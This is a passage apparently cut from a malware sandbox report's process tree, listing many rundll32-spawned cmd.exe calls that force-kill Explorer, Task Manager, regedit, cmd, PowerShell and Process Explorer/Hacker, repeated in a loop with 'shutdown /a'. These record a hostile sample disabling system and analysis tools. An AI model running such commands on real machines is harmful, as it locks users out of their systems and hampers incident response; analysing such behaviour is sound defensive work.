- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:1680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4368
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5636
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5644
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:236
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:248
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:7084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:5624
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2016
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1504
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6944
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2948
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1260
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6560
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3416
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:7116
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5980
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2800
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:4184
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6576
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3368
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5872
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3556
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4356
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:4728
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4688
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1296
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3856
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:7136
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4584
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2976
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:2456
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3848
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:7024
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4564
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:2792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4916
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3256
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2072
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4112
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4244
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:5232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4292
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:2396
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3808
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5440
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:3904
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:2372
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2544
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:596
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:5064
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2028
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4080
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1752
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2076
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2528
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1876
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:6436
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:1792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3480
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:2968
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5420
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6604
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:772
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:828
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:592
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6200
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2204
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4084
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4172
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5824
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6616
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2880
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6700
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:6900
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6956
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:2836
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:2432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:6240
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:6368
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:3104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:1228
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:776
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4628
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:3720
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1104
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:708
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4488
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5756
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:940
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:3460
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1232
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:5344
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:5896
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:5332
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:5604
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:5324
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:1912
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:5660
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6052
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:6840
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4580
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3208
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:1724
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:3188
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2100
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1220
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:1088
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:6844
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3224
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4268
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:2336
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:6464
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:4716
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:6476
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:4924
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:988
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:4792
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
  2⤵
  PID:6508
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im Taskmgr.exe 2>nul
  2⤵
  PID:4960
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im regedit.exe 2>nul
  2⤵
  PID:2140
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  PID:1264
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im powershell.exe 2>nul
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im processhacker.exe 2>nul
  2⤵
  PID:3484
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp.exe 2>nul
  2⤵
  PID:1328
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im procexp64.exe 2>nul
  2⤵
  PID:3288
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c shutdown /a 2>nul
  2⤵
  PID:3000
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im explorer.exe 2>nul
  2⤵
  PID:6748
- C:\Windows\SYSTEM32\rundll32.exe
  rundll32.exe C:\Windows\system32\cmd.exe /c taskkill /f /im taskmgr.exe 2>nul
